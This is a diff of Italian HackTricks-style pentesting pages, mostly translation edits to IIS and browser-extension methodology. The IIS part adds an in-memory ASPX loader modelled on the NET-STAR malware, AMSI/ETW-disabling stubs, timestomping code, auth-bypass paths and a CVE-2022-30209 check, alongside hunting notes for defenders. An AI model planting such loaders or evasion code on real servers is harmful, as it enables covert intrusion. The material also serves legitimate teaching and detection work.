+- Timestomping/metadata forgery: espone un’azione changeLastModified e timestomp al deployment (inclusi future compilation timestamps) per ostacolare DFIR.
+- Optional AMSI/ETW pre‑disable for loaders: un loader di seconda fase può disabilitare AMSI e ETW prima di chiamare Assembly.Load per ridurre l’ispezione dei payloads in‑memory.
+
+Minimal ASPX loader pattern
+```aspx
+<%@ Page Language="C#" %>
+<%@ Import Namespace="System" %>
+<%@ Import Namespace="System.IO" %>
+<%@ Import Namespace="System.IO.Compression" %>
+<%@ Import Namespace="System.Reflection" %>
+<script runat="server">
+protected void Page_Load(object sender, EventArgs e){
+// 1) Obtain payload bytes (hard‑coded blob or from request)
+string b64 = /* hardcoded or Request["d"] */;
+byte[] blob = Convert.FromBase64String(b64);
+// optional: decrypt here if AES is used
+using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
+using(var ms = new MemoryStream()){
+gz.CopyTo(ms);
+var asm = Assembly.Load(ms.ToArray());
+// 2) Invoke the managed entry point (e.g., ServerRun.Run)
+var t = asm.GetType("ServerRun");
+var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
+object inst = m.IsStatic ? null : Activator.CreateInstance(t);
+m.Invoke(inst, new object[]{ HttpContext.Current });
+}
+}
+}
+</script>
+```
+Helper di packing/crypto (Gzip + AES‑ECB + Base64)
+```csharp
+using System.Security.Cryptography;
+
+static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
+using(var aes = Aes.Create()){
+aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
+ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
+return t.TransformFinalBlock(data, 0, data.Length);
+}
+}
+
+static string Pack(object obj, byte[] key){
+// serialize → gzip → AES‑ECB → Base64
+byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
+using var ms = new MemoryStream();
+using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
+byte[] enc = AesEcb(ms.ToArray(), key, true);
+return Convert.ToBase64String(enc);
+}
+
+static T Unpack<T>(string b64, byte[] key){
+byte[] enc = Convert.FromBase64String(b64);
+byte[] cmp = AesEcb(enc, key, false);
+using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
+using var outMs = new MemoryStream(); gz.CopyTo(outMs);
+return Deserialize<T>(outMs.ToArray());
+}
+```
+Cookie/session flow and command surface
+- Il bootstrap della sessione e il tasking vengono veicolati tramite cookies per confondersi con l'attività web normale.
+- I comandi osservati nel mondo reale includevano: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; e primitive di esecuzione dinamica code_self, code_pid, run_code per l'esecuzione .NET in memoria.
+
+Timestomping utility
+```csharp
+File.SetCreationTime(path, ts);
+File.SetLastWriteTime(path, ts);
+File.SetLastAccessTime(path, ts);
+```
+Disabilitazione inline di AMSI/ETW prima di Assembly.Load (variante loader)
+```csharp
+// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
+// and ntdll!EtwEventWrite to a stub; then load operator assembly
+DisableAmsi();
+DisableEtw();
+Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
+```
+Vedi AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
+
+Note di hunting (difensori)
+- Singola pagina ASPX anomala con blob Base64/Gzip molto lunghi; richieste POST con molti cookie.
+- Managed modules non supportati dentro w3wp.exe; stringhe come Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
+- Delimitatori ripetuti come "STAR" nel traffico; timestamp non corrispondenti o addirittura futuri su ASPX/assemblies.
+
+## Vecchie vulnerabilità IIS da cercare
+
+
+### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
+
+Puoi provare a **enumerate folders and files** all'interno di ogni cartella scoperta (anche se richiede Basic Authentication) usando questa **technique**.  
+La principale limitazione di questa tecnica, se il server è vulnerabile, è che **può trovare solo le prime 6 lettere del nome di ogni file/cartella e le prime 3 lettere dell'estensione** dei file.
 
 Puoi usare [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) per testare questa vulnerabilità:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
 
 ![](<../../images/image (844).png>)
 
-Ricerca originale: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
+Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
 
 Puoi anche usare **metasploit**: `use scanner/http/iis_shortname_scanner`
 
-Una buona idea per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
+Una buona idea per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
 
-### Bypass dell'autenticazione di base
+### Bypass Basic Authentication
 
-**Bypass** un'autenticazione di base (**IIS 7.5**) provando ad accedere a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
+**Bypass** una basic authentication (**IIS 7.5**) tentando di accedere: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
 
-Puoi provare a **mescolare** questa **vulnerabilità** e l'ultima per trovare nuove **cartelle** e **bypassare** l'autenticazione.
+Puoi provare a **combinare** questa **vulnerabilità** con l'ultima per trovare nuove **cartelle** e **bypassare** l'autenticazione.
 
 ## Debugging ASP.NET Trace.AXD abilitato
 
 ASP.NET include una modalità di debugging e il suo file si chiama `trace.axd`.
 
-Tiene un log molto dettagliato di tutte le richieste fatte a un'applicazione nel corso del tempo.
+Registra un log molto dettagliato di tutte le richieste effettuate a un'applicazione in un periodo di tempo.
 
-Queste informazioni includono IP dei client remoti, ID di sessione, tutti i cookie di richiesta e risposta, percorsi fisici, informazioni sul codice sorgente e potenzialmente anche nomi utente e password.
+Queste informazioni includono IP remoti dei client, session ID, tutti i cookie di richiesta e risposta, percorsi fisici, informazioni sul codice sorgente e potenzialmente anche username e password.
 
 [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
 
@@ -229,19 +346,19 @@ Queste informazioni includono IP dei client remoti, ID di sessione, tutti i cook
 
 ## Cookie ASPXAUTH
 
-ASPXAUTH utilizza le seguenti informazioni:
+ASPXAUTH usa le seguenti informazioni:
 
-- **`validationKey`** (stringa): chiave codificata in esadecimale da utilizzare per la validazione della firma.
-- **`decryptionMethod`** (stringa): (predefinito “AES”).
-- **`decryptionIV`** (stringa): vettore di inizializzazione codificato in esadecimale (predefinito a un vettore di zeri).
-- **`decryptionKey`** (stringa): chiave codificata in esadecimale da utilizzare per la decrittazione.
+- **`validationKey`** (string): chiave codificata in hex da usare per la validazione della firma.
+- **`decryptionMethod`** (string): (default “AES”).
+- **`decryptionIV`** (string): vettore di inizializzazione codificato in hex (di default un vettore di zeri).
+- **`decryptionKey`** (string): chiave codificata in hex da usare per la decrittazione.
 
-Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie del secondo server nel primo** e impersonare l'utente.\
+Tuttavia, alcune persone useranno i **valori di default** di questi parametri e useranno come **cookie l'email dell'utente**. Pertanto, se trovi un sito che usa la **stessa piattaforma** che utilizza il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti riuscire a usare il cookie dal secondo server nel primo e impersonare l'utente.  
 Questo attacco ha funzionato in questo [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
 
-## Bypass dell'autenticazione IIS con password memorizzate nella cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
+## Bypass dell'autenticazione IIS con password in cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
 
-[Rapporto completo qui](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un bug nel codice **non ha controllato correttamente la password fornita dall'utente**, quindi un attaccante il cui **hash della password colpisce una chiave** già presente nella **cache** sarà in grado di accedere come quell'utente.
+[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un bug nel codice **non verificava correttamente la password fornita dall'utente**, quindi un attaccante il cui **hash della password corrisponde a una chiave** già presente nella **cache** sarà in grado di autenticarsi come quell'utente.
 ```python
 # script for sanity check
 > type test.py
@@ -261,4 +378,9 @@ HTTP/1.1 401 Unauthorized
 > curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
 HTTP/1.1 200 OK
 ```
+## Riferimenti
+
+- [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
+- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
+
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -2,40 +2,40 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Informazioni di Base
+## Informazioni di base
 
-Le estensioni del browser sono scritte in JavaScript e caricate dal browser in background. Hanno il loro [DOM](https://www.w3schools.com/js/js_htmldom.asp) ma possono interagire con i DOM di altri siti. Questo significa che possono compromettere la riservatezza, l'integrità e la disponibilità (CIA) di altri siti.
+Le browser extension sono scritte in JavaScript e caricate dal browser in background. Hanno il loro [DOM](https://www.w3schools.com/js/js_htmldom.asp) ma possono interagire con i DOM di altri siti. Questo significa che possono compromettere la riservatezza, l'integrità e la disponibilità (CIA) di altri siti.
 
-## Componenti Principali
+## Componenti principali
 
-I layout delle estensioni appaiono migliori quando visualizzati e consistono in tre componenti. Esaminiamo ciascun componente in dettaglio.
+I layout delle extension si visualizzano meglio e consistono di tre componenti. Vediamo ogni componente in dettaglio.
 
 <figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
 
 ### **Content Scripts**
 
-Ogni content script ha accesso diretto al DOM di una **singola pagina web** ed è quindi esposto a **input potenzialmente dannoso**. Tuttavia, il content script non contiene permessi se non la capacità di inviare messaggi al core dell'estensione.
+Each content script ha accesso diretto al DOM di una **single web page** e è quindi esposto a **potentially malicious input**. Tuttavia, il content script non contiene permessi oltre alla possibilità di inviare messaggi all'extension core.
 
 ### **Extension Core**
 
-Il core dell'estensione contiene la maggior parte dei privilegi/accessi dell'estensione, ma il core dell'estensione può interagire con i contenuti web solo tramite [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e content scripts. Inoltre, il core dell'estensione non ha accesso diretto alla macchina host.
+L'extension core contiene la maggior parte dei privilegi/accessi dell'estensione, ma l'extension core può interagire con il contenuto web solo tramite [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e content scripts. Inoltre, l'extension core non ha accesso diretto alla macchina host.
 
 ### **Native Binary**
 
-L'estensione consente un binario nativo che può **accedere alla macchina host con i privilegi completi dell'utente.** Il binario nativo interagisce con il core dell'estensione attraverso l'interfaccia di programmazione delle applicazioni standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plug-in del browser.
+L'estensione può includere un native binary che può **accedere alla macchina host con i pieni privilegi dell'utente.** Il native binary interagisce con l'extension core tramite la Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usata da Flash e altri plugin del browser.
 
 ### Confini
 
 > [!CAUTION]
-> Per ottenere i privilegi completi dell'utente, un attaccante deve convincere l'estensione a passare input dannoso dal content script al core dell'estensione e dal core dell'estensione al binario nativo.
+> Per ottenere i pieni privilegi dell'utente, un attacker deve convincere l'estensione a passare malicious input dal content script all'extension core e dall'extension core al native binary.
 
-Ogni componente dell'estensione è separato dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo di sistema operativo separato**. I content scripts e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili per la maggior parte dei servizi di sistema operativo.
+Ogni componente dell'estensione è separato dagli altri da **forti confini protettivi**. Ogni componente gira in un **processo del sistema operativo separato**. Content scripts e extension cores girano in **sandbox processes** non disponibili alla maggior parte dei servizi del sistema operativo.
 
-Inoltre, i content scripts sono separati dalle loro pagine web associate **eseguendo in un heap JavaScript separato**. Il content script e la pagina web hanno **accesso allo stesso DOM sottostante**, ma i due **non scambiano mai puntatori JavaScript**, prevenendo la fuoriuscita di funzionalità JavaScript.
+Inoltre, i content scripts sono separati dalle pagine web associate eseguendo in un **separate JavaScript heap**. Il content script e la web page hanno **accesso allo stesso underlying DOM**, ma i due **never exchange JavaScript pointers**, prevenendo il leaking of JavaScript functionality.
 
 ## **`manifest.json`**
 
-Un'estensione di Chrome è semplicemente una cartella ZIP con un'estensione di file [.crx](https://www.lifewire.com/crx-file-2620391). Il core dell'estensione è il file **`manifest.json`** nella radice della cartella, che specifica layout, permessi e altre opzioni di configurazione.
+Una Chrome extension è semplicemente una cartella ZIP con un [.crx file extension](https://www.lifewire.com/crx-file-2620391). Il core dell'estensione è il file **`manifest.json`** alla radice della cartella, che specifica layout, permissions e altre opzioni di configurazione.
 
 Esempio:
 ```json
@@ -61,7 +61,7 @@ Esempio:
 ```
 ### `content_scripts`
 
-I contenuti degli script vengono **caricati** ogni volta che l'utente **naviga a una pagina corrispondente**, nel nostro caso qualsiasi pagina che corrisponde all'espressione **`https://example.com/*`** e non corrisponde all'espressione regex **`*://*/*/business*`**. Vengono eseguiti **come gli script della pagina** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) della pagina.
+Gli script di contenuto vengono **caricati** ogni volta che l'utente **naviga verso una pagina corrispondente**, nel nostro caso qualsiasi pagina che corrisponde all'espressione **`https://example.com/*`** e che non corrisponde alla regex **`*://*/*/business*`**. Vengono eseguiti **come gli script della pagina stessa** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) della pagina.
 ```json
 "content_scripts": [
 {
@@ -76,9 +76,9 @@ I contenuti degli script vengono **caricati** ogni volta che l'utente **naviga a
 }
 ],
 ```
-Per includere o escludere più URL, è anche possibile utilizzare **`include_globs`** e **`exclude_globs`**.
+Per includere o escludere ulteriori URL è anche possibile usare **`include_globs`** e **`exclude_globs`**.
 
-Questo è un esempio di script di contenuto che aggiungerà un pulsante di spiegazione alla pagina quando [l'API di archiviazione](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) per recuperare il valore `message` dallo storage dell'estensione.
+Questo è un esempio di content script che aggiungerà un pulsante 'explain' alla pagina quando [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) viene utilizzata per recuperare il valore `message` dallo storage dell'estensione.
 ```js
 chrome.storage.local.get("message", (result) => {
 let div = document.createElement("div")
@@ -91,24 +91,24 @@ document.body.appendChild(div)
 ```
 <figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
 
-Un messaggio viene inviato alle pagine dell'estensione dallo script di contenuto quando questo pulsante viene cliccato, attraverso l'utilizzo dell'[**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Questo è dovuto alla limitazione dello script di contenuto nell'accesso diretto alle API, con `storage` che è tra le poche eccezioni. Per funzionalità oltre queste eccezioni, i messaggi vengono inviati alle pagine dell'estensione con cui gli script di contenuto possono comunicare.
+Un messaggio viene inviato alle pagine dell'estensione dal content script quando questo pulsante viene cliccato, tramite l'utilizzo della [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Ciò è dovuto alla limitazione del content script nell'accesso diretto alle API, con `storage` che rappresenta una delle poche eccezioni. Per funzionalità oltre queste eccezioni, i messaggi vengono inviati alle pagine dell'estensione con cui i content script possono comunicare.
 
 > [!WARNING]
-> A seconda del browser, le capacità dello script di contenuto possono variare leggermente. Per i browser basati su Chromium, l'elenco delle capacità è disponibile nella [documentazione degli sviluppatori di Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e per Firefox, il [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) funge da fonte principale.\
-> È anche degno di nota che gli script di contenuto hanno la capacità di comunicare con gli script di background, consentendo loro di eseguire azioni e trasmettere risposte.
+> A seconda del browser, le capacità del content script possono variare leggermente. Per i browser basati su Chromium, la lista delle capacità è disponibile nella [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e per Firefox, la [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) funge da fonte principale.\
+> È inoltre importante notare che i content script hanno la capacità di comunicare con i background scripts, permettendo loro di eseguire azioni e rimandare risposte.
 
-Per visualizzare e fare debug degli script di contenuto in Chrome, il menu degli strumenti per sviluppatori di Chrome può essere accesso da Opzioni > Altri strumenti > Strumenti per sviluppatori O premendo Ctrl + Shift + I.
+Per visualizzare e fare debugging dei content script in Chrome, il menu dei Chrome developer tools può essere aperto da Options > More tools > Developer tools O premendo Ctrl + Shift + I.
 
-Una volta visualizzati gli strumenti per sviluppatori, è necessario cliccare sulla **scheda Sorgente**, seguita dalla scheda **Script di contenuto**. Questo consente di osservare gli script di contenuto in esecuzione da varie estensioni e di impostare punti di interruzione per tracciare il flusso di esecuzione.
+Una volta visualizzati i developer tools, cliccare la **Source tab**, seguita dalla **Content Scripts** tab. Questo permette di osservare i content script in esecuzione provenienti da varie estensioni e impostare breakpoint per tracciare il flusso di esecuzione.
 
-### Script di contenuto iniettati
+### Injected content scripts
 
 > [!TIP]
-> Nota che **gli script di contenuto non sono obbligatori** poiché è anche possibile **iniettare dinamicamente** script e **iniettarli programmaticamente** nelle pagine web tramite **`tabs.executeScript`**. Questo fornisce in realtà un controllo più **granulare**.
+> Nota che **Content Scripts aren't mandatory** in quanto è anche possibile **dynamically** **inject** script e **programatically inject them** nelle pagine web tramite **`tabs.executeScript`**. Questo fornisce in realtà controlli più **granular**.
 
-Per l'iniezione programmatica di uno script di contenuto, l'estensione deve avere [permessi di host](https://developer.chrome.com/docs/extensions/reference/permissions) per la pagina in cui gli script devono essere iniettati. Questi permessi possono essere ottenuti sia **richiedendoli** all'interno del manifesto dell'estensione o su base temporanea tramite [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
+Per l'iniezione programmatica di un content script, l'estensione deve avere [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) per la pagina in cui gli script devono essere iniettati. Questi permessi possono essere ottenuti o richiedendoli nel manifest dell'estensione o temporaneamente tramite [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
 
-#### Esempio di estensione basata su activeTab
+#### Example activeTab-based extension
 ```json:manifest.json
 {
 "name": "My extension",
@@ -125,7 +125,7 @@ Per l'iniezione programmatica di uno script di contenuto, l'estensione deve aver
 }
 }
 ```
-- **Inietta un file JS al clic:**
+- **Iniettare un file JS al clic:**
 ```javascript
 // content-script.js
 document.body.style.backgroundColor = "orange"
@@ -138,7 +138,7 @@ files: ["content-script.js"],
 })
 })
 ```
-- **Inietta una funzione** al clic:
+- **Iniettare una function** al clic:
 ```javascript
 //service-worker.js - Inject a function
 function injectedFunction() {
@@ -167,19 +167,19 @@ js: ["contentScript.js"],
 // Another example
 chrome.tabs.executeScript(tabId, { file: "content_script.js" })
 ```
-Per includere o escludere più URL, è anche possibile utilizzare **`include_globs`** e **`exclude_globs`**.
+Per includere o escludere più URL, è anche possibile usare **`include_globs`** e **`exclude_globs`**.
 
-### Content Scripts `run_at`
+### Script di contenuto `run_at`
 
-Il campo `run_at` controlla **quando i file JavaScript vengono iniettati nella pagina web**. Il valore preferito e predefinito è `"document_idle"`.
+Il campo `run_at` controlla **quando i file JavaScript vengono iniettati nella pagina web**. Il valore preferito e di default è `"document_idle"`.
 
-I valori possibili sono:
+I possibili valori sono:
 
 - **`document_idle`**: Ogni volta che è possibile
-- **`document_start`**: Dopo qualsiasi file da `css`, ma prima che venga costruito qualsiasi altro DOM o che venga eseguito qualsiasi altro script.
-- **`document_end`**: Immediatamente dopo che il DOM è completo, ma prima che le risorse secondarie come immagini e frame siano state caricate.
+- **`document_start`**: Dopo i file `css`, ma prima che il DOM venga costruito o che venga eseguito qualsiasi altro script.
+- **`document_end`**: Immediatamente dopo il completamento del DOM, ma prima che sottorisorse come immagini e frame siano caricate.
 
-#### Via `manifest.json`
+#### Tramite `manifest.json`
 ```json
 {
 "name": "My extension",
@@ -208,18 +208,18 @@ js: ["contentScript.js"],
 ```
 ### `background`
 
-I messaggi inviati dagli script di contenuto vengono ricevuti dalla **pagina di background**, che svolge un ruolo centrale nel coordinare i componenti dell'estensione. In particolare, la pagina di background persiste per tutta la durata dell'estensione, operando discretamente senza interazione diretta dell'utente. Possiede il proprio Document Object Model (DOM), consentendo interazioni complesse e gestione dello stato.
+I messaggi inviati dai content scripts sono ricevuti dalla **background page**, che svolge un ruolo centrale nel coordinare i componenti dell'estensione. In particolare, la background page persiste per tutta la durata dell'estensione, operando in modo discreto senza interazione diretta dell'utente. Possiede il proprio Document Object Model (DOM), permettendo interazioni complesse e la gestione dello stato.
 
-**Punti Chiave**:
+**Punti chiave**:
 
-- **Ruolo della Pagina di Background:** Funziona come il centro nevralgico dell'estensione, garantendo comunicazione e coordinamento tra le varie parti dell'estensione.
+- **Ruolo della background page:** Agisce come centro nevralgico per l'estensione, garantendo comunicazione e coordinamento tra le varie parti dell'estensione.
 - **Persistenza:** È un'entità sempre presente, invisibile all'utente ma fondamentale per la funzionalità dell'estensione.
-- **Generazione Automatica:** Se non definita esplicitamente, il browser creerà automaticamente una pagina di background. Questa pagina generata automaticamente includerà tutti gli script di background specificati nel manifesto dell'estensione, garantendo il funzionamento senza soluzione di continuità dei compiti di background dell'estensione.
+- **Generazione automatica:** Se non definita esplicitamente, il browser creerà automaticamente una background page. Questa pagina auto-generata includerà tutti gli background scripts specificati nel manifest dell'estensione, assicurando il corretto funzionamento delle attività di background dell'estensione.
 
 > [!TIP]
-> La comodità fornita dal browser nella generazione automatica di una pagina di background (quando non dichiarata esplicitamente) garantisce che tutti gli script di background necessari siano integrati e operativi, semplificando il processo di configurazione dell'estensione.
+> La comodità fornita dal browser nel generare automaticamente una background page (quando non dichiarata esplicitamente) garantisce che tutti gli background scripts necessari siano integrati e operativi, semplificando il processo di configurazione dell'estensione.
 
-Esempio di script di background:
+Esempio di background script:
 ```js
 chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
 if (request == "explain") {
@@ -227,34 +227,35 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
 }
 })
 ```
-Utilizza l'[API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) per ascoltare i messaggi. Quando viene ricevuto un messaggio `"explain"`, utilizza l'[API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) per aprire una pagina in una nuova scheda.
+Utilizza [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) per ascoltare i messaggi. Quando viene ricevuto un messaggio `"explain"`, utilizza [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) per aprire una pagina in una nuova scheda.
 
-Per eseguire il debug dello script di background, puoi andare ai **dettagli dell'estensione e ispezionare il service worker,** questo aprirà gli strumenti per sviluppatori con lo script di background:
+Per fare il debug del background script puoi aprire i **dettagli dell'estensione e ispezionare il service worker,** questo aprirà i developer tools con lo script di background:
 
 <figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
 
-### Pagine delle opzioni e altro
+### Pagine Options e altro
 
-Le estensioni del browser possono contenere vari tipi di pagine:
+Le estensioni del browser possono contenere diversi tipi di pagine:
 
-- Le **pagine di azione** vengono visualizzate in un **menu a discesa quando si fa clic sull'icona dell'estensione**.
+- **Action pages** vengono visualizzate in un **menu a discesa quando l'icona dell'estensione** viene cliccata.
 - Pagine che l'estensione **caricherà in una nuova scheda**.
-- **Pagine delle opzioni**: Questa pagina viene visualizzata sopra l'estensione quando viene cliccata. Nel manifesto precedente, nel mio caso, sono riuscito ad accedere a questa pagina in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o cliccando:
+- **Option Pages**: Questa pagina viene mostrata sopra l'estensione quando cliccata. Nel manifest precedente, nel mio caso sono riuscito ad accedere a questa pagina in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o cliccando:
 
 <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Nota che queste pagine non sono persistenti come le pagine di background poiché caricano contenuti dinamicamente secondo necessità. Nonostante ciò, condividono alcune capacità con la pagina di background:
+Nota che queste pagine non sono persistenti come le background pages poiché caricano dinamicamente il contenuto quando necessario. Nonostante ciò, condividono alcune capacità con la background page:
 
-- **Comunicazione con gli script di contenuto:** Simile alla pagina di background, queste pagine possono ricevere messaggi dagli script di contenuto, facilitando l'interazione all'interno dell'estensione.
-- **Accesso alle API specifiche dell'estensione:** Queste pagine godono di un accesso completo alle API specifiche dell'estensione, soggetto alle autorizzazioni definite per l'estensione.
+- **Communication with Content Scripts:** Come la background page, queste pagine possono ricevere messaggi dai content scripts, facilitando l'interazione all'interno dell'estensione.
+- **Access to Extension-Specific APIs:** Queste pagine hanno accesso completo alle API specifiche dell'estensione, soggette ai permessi definiti per l'estensione.
 
 ### `permissions` & `host_permissions`
 
-**`permissions`** e **`host_permissions`** sono voci del `manifest.json` che indicheranno **quali autorizzazioni** ha l'estensione del browser (memoria, posizione...) e in **quali pagine web**.
+**`permissions`** e **`host_permissions`** sono voci del `manifest.json` che indicano **quali permessi** l'estensione del browser possiede (storage, location...) e **in quali pagine web**.
 
-Poiché le estensioni del browser possono essere così **privilegiate**, una malevola o una compromessa potrebbe consentire all'attaccante **diversi mezzi per rubare informazioni sensibili e spiare l'utente**.
+Poiché le estensioni del browser possono essere così **privilegiate**, un'estensione malevola o compromessa potrebbe permettere all'attaccante **diversi mezzi per rubare informazioni sensibili e spiare l'utente**.
+
+Controlla come queste impostazioni funzionano e come potrebbero essere abusate in:
 
-Controlla come funzionano queste impostazioni e come potrebbero essere abusate in:
 
 {{#ref}}
 browext-permissions-and-host_permissions.md
@@ -262,13 +263,14 @@ browext-permissions-and-host_permissions.md
 
 ### `content_security_policy`
 
-Una **politica di sicurezza dei contenuti** può essere dichiarata anche all'interno del `manifest.json`. Se ce n'è una definita, potrebbe essere **vulnerabile**.
+Una **content security policy** può essere dichiarata anche all'interno del `manifest.json`. Se è definita, potrebbe essere **vulnerabile**.
 
 L'impostazione predefinita per le pagine delle estensioni del browser è piuttosto restrittiva:
 ```bash
 script-src 'self'; object-src 'self';
 ```
-Per ulteriori informazioni su CSP e potenziali bypass, controlla:
+Per maggiori informazioni su CSP e sui potential bypasses consulta:
+
 
 {{#ref}}
 ../content-security-policy-csp-bypass/
@@ -276,8 +278,8 @@ Per ulteriori informazioni su CSP e potenziali bypass, controlla:
 
 ### `web_accessible_resources`
 
-affinché una pagina web possa accedere a una pagina di un'estensione del browser, ad esempio una pagina `.html`, questa pagina deve essere menzionata nel campo **`web_accessible_resources`** del `manifest.json`.\
-Ad esempio:
+Affinché una pagina web possa accedere a una pagina di un'estensione del browser, ad esempio una `.html`, questa pagina deve essere menzionata nel campo **`web_accessible_resources`** del `manifest.json`.\
+Per esempio:
 ```javascript
 {
 ...
@@ -294,67 +296,68 @@ Ad esempio:
 ...
 }
 ```
-Queste pagine sono accessibili all'URL come:
+Queste pagine sono accessibili tramite URL come:
 ```
 chrome-extension://<extension-id>/message.html
 ```
-Nelle estensioni pubbliche, l'**extension-id è accessibile**:
+Nelle estensioni pubbliche l'**extension-id è accessibile**:
 
 <figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Tuttavia, se il parametro `manifest.json` **`use_dynamic_url`** è utilizzato, questo **id può essere dinamico**.
+Tuttavia, se nel `manifest.json` è usato il parametro **`use_dynamic_url`**, questo **id può essere dinamico**.
 
 > [!TIP]
